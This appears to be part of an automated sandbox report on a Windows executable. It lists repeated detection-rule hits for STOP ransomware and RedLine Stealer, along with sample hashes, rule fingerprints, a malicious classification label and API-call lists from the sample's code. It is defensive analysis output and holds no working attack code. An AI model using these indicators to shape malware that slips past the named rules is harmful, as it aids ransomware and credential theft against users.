Source: 12.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.kOVwcHSfrR.exe.27315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.kOVwcHSfrR.exe.27315a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.kOVwcHSfrR.exe.27315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.kOVwcHSfrR.exe.27315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 20.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 20.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 20.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 20.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.kOVwcHSfrR.exe.26715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.kOVwcHSfrR.exe.26715a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 13.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 13.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.kOVwcHSfrR.exe.28515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.kOVwcHSfrR.exe.28515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.kOVwcHSfrR.exe.26715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.kOVwcHSfrR.exe.26715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 13.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 13.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.kOVwcHSfrR.exe.28515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.kOVwcHSfrR.exe.28515a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 19.2.kOVwcHSfrR.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.kOVwcHSfrR.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.kOVwcHSfrR.exe.26a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.kOVwcHSfrR.exe.26a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000013.00000002.1516167600.000000000262A000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000012.00000002.1683207825.00000000009ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000A.00000002.1325933597.00000000026C8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.1517241743.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000B.00000002.1345615414.00000000025E6000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000E.00000002.1443847796.0000000002670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.1275132497.000000000266B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000E.00000002.1442800853.00000000025AF000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: kOVwcHSfrR.exe PID: 7384, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: kOVwcHSfrR.exe PID: 7808, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: kOVwcHSfrR.exe PID: 7964, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: kOVwcHSfrR.exe PID: 7996, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: kOVwcHSfrR.exe PID: 8028, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: kOVwcHSfrR.exe PID: 8088, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: kOVwcHSfrR.exe PID: 8160, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: kOVwcHSfrR.exe PID: 7376, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: kOVwcHSfrR.exe PID: 7384, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: kOVwcHSfrR.exe PID: 736, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: kOVwcHSfrR.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: kOVwcHSfrR.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@23/1163@9/5

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 7_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

7_2_00411900

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 0_2_0266B7C6 CreateToolhelp32Snapshot,Module32First,

0_2_0266B7C6

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 7_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,
